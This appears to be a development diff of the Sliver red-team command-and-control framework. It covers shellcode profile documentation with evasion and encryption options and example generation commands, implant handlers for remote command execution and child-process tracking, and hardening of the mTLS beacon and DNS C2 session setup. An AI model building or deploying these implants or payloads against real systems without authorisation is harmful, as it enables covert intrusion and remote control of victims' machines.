SHELLCODE:windows/amd64
|
||||
SHELLCODE:darwin/arm64
|
||||
SHELLCODE:linux/amd64
|
||||
SHELLCODE:linux/arm64
|
||||
```
|
||||
|
||||
Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
**⚠️ Important:** You must have MinGW installed on your Sliver server to get some staged (e.g., Windows DLLs) payloads to work.
|
||||
**⚠️ Important:** Some staged payloads require a working cross-compiler toolchain on the Sliver server (especially shared libraries and non-native targets). Sliver bundles a Zig toolchain for many Windows/Linux targets, but macOS shared library/shellcode builds require osxcross.
|
||||
|
||||
## Overview
|
||||
|
||||
@@ -33,16 +33,22 @@ Name Platform Command & Control Debug Format
|
||||
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
|
||||
```
|
||||
|
||||
You can tune shellcode options for shellcode profiles (Windows: Donut):
|
||||
Shellcode generation varies by platform:
|
||||
|
||||
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt
|
||||
- `--shellcode-compress`: enable/disable aPLib compression (boolean)
|
||||
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block
|
||||
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue
|
||||
- `--shellcode-headers`: 1=overwrite, 2=keep
|
||||
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
|
||||
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
|
||||
- `--shellcode-oep`: override original entry point (uint32, 0=default)
|
||||
- Windows shellcode uses Donut and supports all shellcode tuning flags below.
|
||||
- macOS (darwin/arm64) and Linux (amd64/arm64) shellcode currently only support `--shellcode-compress`; other `--shellcode-*` options are Windows-only.
|
||||
|
||||
Shellcode options:
|
||||
|
||||
- `--shellcode-encoder`: apply an optional shellcode encoder (see: `shellcode-encoders`)
|
||||
- `--shellcode-compress`: enable/disable aPLib compression (boolean) (Windows, macOS, Linux)
|
||||
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt (Windows only)
|
||||
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block (Windows only)
|
||||
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue (Windows only)
|
||||
- `--shellcode-headers`: 1=overwrite, 2=keep (Windows only)
|
||||
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean) (Windows only)
|
||||
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean) (Windows only)
|
||||
- `--shellcode-oep`: override original entry point (uint32, 0=default) (Windows only)
|
||||
|
||||
Example:
|
||||
|
||||
@@ -50,6 +56,12 @@ Example:
|
||||
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
|
||||
```
|
||||
|
||||
Linux example (compression only):
|
||||
|
||||
```
|
||||
sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcode
|
||||
```
|
||||
|
||||
We can now create a staging listener and link it to the profile:
|
||||
|
||||
```
|
||||
|
||||
@@ -202,6 +202,15 @@ else
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / c2 / e2e (dns)
|
||||
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
|
||||
:
|
||||
else
|
||||
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
exit 1
|
||||
fi
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
|
||||
# server / configs
|
||||
|
||||
@@ -48,6 +48,7 @@ require (
|
||||
github.com/rsteube/carapace v0.50.2
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/sliverarmory/beignet v0.0.2
|
||||
github.com/sliverarmory/malasada v0.0.2
|
||||
github.com/sliverarmory/wasm-donut v0.0.3
|
||||
github.com/spf13/cobra v1.10.2
|
||||
github.com/spf13/pflag v1.0.10
|
||||
|
||||
@@ -665,6 +665,8 @@ github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g
|
||||
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
|
||||
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
|
||||
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
|
||||
github.com/sliverarmory/malasada v0.0.2 h1:X2+7dNGPWfm4ijsr/rMvZlIMalskdCVpBZUYs50RHIA=
|
||||
github.com/sliverarmory/malasada v0.0.2/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
|
||||
|
||||
@@ -0,0 +1,204 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"sort"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
maxTrackedExecuteChildren = 256
|
||||
)
|
||||
|
||||
type executeChildEntry struct {
|
||||
PID int32
|
||||
Path string
|
||||
Args []string
|
||||
Stdout string
|
||||
Stderr string
|
||||
StartTime int64
|
||||
|
||||
Exited bool
|
||||
ExitCode int32
|
||||
ExitTime int64
|
||||
Error string
|
||||
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
var (
|
||||
executeChildrenMu sync.RWMutex
|
||||
trackedExecuteChildren = map[int32]*executeChildEntry{}
|
||||
)
|
||||
|
||||
func trimTrackedExecuteChildrenLocked() {
|
||||
if len(trackedExecuteChildren) <= maxTrackedExecuteChildren {
|
||||
return
|
||||
}
|
||||
|
||||
// Prefer trimming completed entries first, oldest exit time first.
|
||||
exited := make([]*executeChildEntry, 0, len(trackedExecuteChildren))
|
||||
for _, entry := range trackedExecuteChildren {
|
||||
if entry.Exited {
|
||||
exited = append(exited, entry)
|
||||
}
|
||||
}
|
||||
sort.Slice(exited, func(i, j int) bool {
|
||||
return exited[i].ExitTime < exited[j].ExitTime
|
||||
})
|
||||
|
||||
for len(trackedExecuteChildren) > maxTrackedExecuteChildren && 0 < len(exited) {
|
||||
delete(trackedExecuteChildren, exited[0].PID)
|
||||
exited = exited[1:]
|
||||
}
|
||||
}
|
||||
|
||||
func startExecuteChild(cmd *exec.Cmd, track bool, path string, args []string, stdoutPath string, stderrPath string) (int32, error) {
|
||||
var (
|
||||
stdoutFile *os.File
|
||||
stderrFile *os.File
|
||||
err error
|
||||
)
|
||||
|
||||
startTime := time.Now().Unix()
|
||||
|
||||
if stdoutPath != "" {
|
||||
stdoutFile, err = os.Create(stdoutPath)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
cmd.Stdout = stdoutFile
|
||||
}
|
||||
if stderrPath != "" {
|
||||
stderrFile, err = os.Create(stderrPath)
|
||||
if err != nil {
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
cmd.Stderr = stderrFile
|
||||
}
|
||||
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
if stderrFile != nil {
|
||||
stderrFile.Close()
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
|
||||
var pid int32
|
||||
if cmd.Process != nil {
|
||||
pid = int32(cmd.Process.Pid)
|
||||
}
|
||||
|
||||
if track && pid != 0 {
|
||||
entry := &executeChildEntry{
|
||||
PID: pid,
|
||||
Path: path,
|
||||
Args: append([]string(nil), args...),
|
||||
Stdout: stdoutPath,
|
||||
Stderr: stderrPath,
|
||||
StartTime: startTime,
|
||||
cmd: cmd,
|
||||
}
|
||||
executeChildrenMu.Lock()
|
||||
trackedExecuteChildren[pid] = entry
|
||||
trimTrackedExecuteChildrenLocked()
|
||||
executeChildrenMu.Unlock()
|
||||
}
|
||||
|
||||
go func(pid int32, cmd *exec.Cmd, stdoutFile *os.File, stderrFile *os.File, track bool) {
|
||||
waitErr := cmd.Wait()
|
||||
|
||||
exitCode := int32(0)
|
||||
waitErrStr := ""
|
||||
if waitErr != nil {
|
||||
if exitErr, ok := waitErr.(*exec.ExitError); ok {
|
||||
exitCode = int32(exitErr.ExitCode())
|
||||
} else {
|
||||
exitCode = -1
|
||||
waitErrStr = waitErr.Error()
|
||||
}
|
||||
}
|
||||
|
||||
if track && pid != 0 {
|
||||
executeChildrenMu.Lock()
|
||||
entry := trackedExecuteChildren[pid]
|
||||
if entry != nil {
|
||||
entry.Exited = true
|
||||
entry.ExitCode = exitCode
|
||||
entry.ExitTime = time.Now().Unix()
|
||||
entry.Error = waitErrStr
|
||||
entry.cmd = nil
|
||||
}
|
||||
executeChildrenMu.Unlock()
|
||||
}
|
||||
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
if stderrFile != nil {
|
||||
stderrFile.Close()
|
||||
}
|
||||
}(pid, cmd, stdoutFile, stderrFile, track)
|
||||
|
||||
return pid, nil
|
||||
}
|
||||
|
||||
func snapshotExecuteChildren() []*sliverpb.ExecuteChild {
|
||||
executeChildrenMu.RLock()
|
||||
children := make([]*sliverpb.ExecuteChild, 0, len(trackedExecuteChildren))
|
||||
for _, entry := range trackedExecuteChildren {
|
||||
children = append(children, &sliverpb.ExecuteChild{
|
||||
Pid: entry.PID,
|
||||
Path: entry.Path,
|
||||
Args: append([]string(nil), entry.Args...),
|
||||
StartTime: entry.StartTime,
|
||||
Exited: entry.Exited,
|
||||
ExitCode: entry.ExitCode,
|
||||
ExitTime: entry.ExitTime,
|
||||
Stdout: entry.Stdout,
|
||||
Stderr: entry.Stderr,
|
||||
Error: entry.Error,
|
||||
})
|
||||
}
|
||||
executeChildrenMu.RUnlock()
|
||||
|
||||
sort.Slice(children, func(i, j int) bool {
|
||||
return children[i].StartTime < children[j].StartTime
|
||||
})
|
||||
return children
|
||||
}
|
||||
|
||||
func executeChildrenHandler(data []byte, resp RPCResponse) {
|
||||
req := &sliverpb.ExecuteChildrenReq{}
|
||||
err := proto.Unmarshal(data, req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
execChildren := &sliverpb.ExecuteChildren{
|
||||
Children: snapshotExecuteChildren(),
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
data, err = proto.Marshal(execChildren)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -1181,7 +1181,7 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
if execReq.Output && !execReq.Background {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
@@ -1242,19 +1242,14 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
|
||||
if startErr != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
Err: fmt.Sprintf("%s", startErr),
|
||||
}
|
||||
}
|
||||
|
||||
go func() {
|
||||
cmd.Wait()
|
||||
}()
|
||||
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
if pid != 0 {
|
||||
execResp.Pid = uint32(pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
|
||||
@@ -33,25 +33,26 @@ import (
|
||||
|
||||
var (
|
||||
darwinHandlers = map[uint32]RPCHandler{
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgCpReq: cpHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgCpReq: cpHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
|
||||
@@ -34,23 +34,24 @@ import (
|
||||
|
||||
var (
|
||||
genericHandlers = map[uint32]RPCHandler{
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
|
||||
|
||||
@@ -45,24 +45,25 @@ import (
|
||||
|
||||
var (
|
||||
linuxHandlers = map[uint32]RPCHandler{
|
||||
sliverpb.MsgPsReq: psHandler,
|
||||
sliverpb.MsgTerminateReq: terminateHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgPsReq: psHandler,
|
||||
sliverpb.MsgTerminateReq: terminateHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
|
||||
sliverpb.MsgScreenshotReq: screenshotHandler,
|
||||
|
||||
|
||||
@@ -96,21 +96,22 @@ var (
|
||||
sliverpb.MsgMountReq: mountHandler,
|
||||
|
||||
// Generic
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
@@ -386,7 +387,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
if execReq.Output && !execReq.Background {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
@@ -443,13 +444,19 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.Bytes()
|
||||
execResp.Stdout = stdOutBuff.Bytes()
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
|
||||
if startErr != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
Err: fmt.Sprintf("%s", startErr),
|
||||
}
|
||||
}
|
||||
if pid != 0 {
|
||||
execResp.Pid = uint32(pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
|
||||
@@ -37,6 +37,8 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"errors"
|
||||
|
||||
"github.com/hashicorp/yamux"
|
||||
|
||||
// {{end}}
|
||||
@@ -46,7 +48,6 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeWG}}
|
||||
"errors"
|
||||
"net"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
@@ -208,6 +209,9 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if conn == nil {
|
||||
return errors.New("[mtls] connect returned nil conn")
|
||||
}
|
||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
@@ -217,21 +221,40 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
}
|
||||
if muxSession == nil {
|
||||
_ = conn.Close()
|
||||
return errors.New("[mtls] failed to create yamux session (nil)")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
Recv: func() (*pb.Envelope, error) {
|
||||
if muxSession == nil {
|
||||
return nil, errors.New("[mtls] recv called with nil yamux session")
|
||||
}
|
||||
stream, err := muxSession.Accept()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return nil, errors.New("[mtls] accept returned nil stream")
|
||||
}
|
||||
defer stream.Close()
|
||||
return mtls.ReadEnvelope(stream)
|
||||
},
|
||||
Send: func(envelope *pb.Envelope) error {
|
||||
if envelope == nil {
|
||||
return errors.New("[mtls] nil envelope")
|
||||
}
|
||||
if muxSession == nil {
|
||||
return errors.New("[mtls] send called with nil yamux session")
|
||||
}
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return errors.New("[mtls] open returned nil stream")
|
||||
}
|
||||
defer stream.Close()
|
||||
return mtls.WriteEnvelope(stream, envelope)
|
||||
},
|
||||
|
||||
@@ -46,6 +46,7 @@ import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"hash/crc32"
|
||||
"net"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -278,24 +279,23 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
}
|
||||
s.resolvers = []DNSResolver{}
|
||||
for _, server := range s.resolvConf.Servers {
|
||||
address, port := splitResolverAddress(server, s.resolvConf.Port)
|
||||
s.resolvers = append(s.resolvers,
|
||||
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
|
||||
NewGenericResolver(address, port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
|
||||
)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] found resolvers: %v", s.resolvConf.Servers)
|
||||
// {{end}}
|
||||
|
||||
err = s.getDNSSessionID() // Get a 'dns session id'
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
s.fingerprintResolvers() // Fingerprint the resolvers
|
||||
if len(s.resolvers) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no working resolvers!")
|
||||
// {{end}}
|
||||
return errNoResolvers
|
||||
// Generate a random session ID locally. The server will only allocate state
|
||||
// after a successful INIT, which avoids an unauthenticated session bootstrap.
|
||||
if s.dnsSessionID == 0 {
|
||||
sid, err := s.randomDNSSessionID()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
s.dnsSessionID = sid
|
||||
}
|
||||
|
||||
// Key agreement with server
|
||||
@@ -308,39 +308,40 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
resolver, _ := s.randomResolver()
|
||||
initMsg := &dnspb.DNSMessage{
|
||||
ID: s.nextMsgID(),
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
Size: uint32(len(initData)),
|
||||
}
|
||||
respData, err := s.sendInit(resolver, s.base32, initMsg, initData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] init msg send failure %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
if len(respData) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no data received in message")
|
||||
// {{end}}
|
||||
return ErrEmptyResponse
|
||||
var respData []byte
|
||||
var initErr error
|
||||
for _, resolver := range s.resolvers {
|
||||
respData, initErr = s.sendInit(resolver, s.base32, initMsg, initData)
|
||||
if initErr != nil {
|
||||
continue
|
||||
}
|
||||
if len(respData) < 1 {
|
||||
initErr = ErrEmptyResponse
|
||||
continue
|
||||
}
|
||||
data, err := s.cipherCtx.Decrypt(respData)
|
||||
if err != nil {
|
||||
initErr = err
|
||||
continue
|
||||
}
|
||||
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
|
||||
initErr = errInvalidDNSSessionID
|
||||
continue
|
||||
}
|
||||
initErr = nil
|
||||
break
|
||||
}
|
||||
|
||||
data, err := s.cipherCtx.Decrypt(respData)
|
||||
if err != nil {
|
||||
if initErr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] init msg decryption failure %v", err)
|
||||
log.Printf("[dns] init msg send failure %v", initErr)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] init msg dns session id mismatch")
|
||||
// {{end}}
|
||||
return err
|
||||
return initErr
|
||||
}
|
||||
|
||||
// Good to go!
|
||||
@@ -348,6 +349,16 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
log.Printf("[dns] key exchange was successful!")
|
||||
// {{end}}
|
||||
|
||||
// Now that we have a server-side session, benchmark/fingerprint resolvers and
|
||||
// drop ones that error.
|
||||
s.fingerprintResolvers()
|
||||
if len(s.resolvers) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no working resolvers!")
|
||||
// {{end}}
|
||||
return errNoResolvers
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] starting worker(s) ...")
|
||||
// {{end}}
|
||||
@@ -778,40 +789,19 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
|
||||
return subdata, nil
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) getDNSSessionID() error {
|
||||
otpMsg, err := s.otpMsg()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
otpDomain, err := s.joinSubdataToParent(otpMsg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
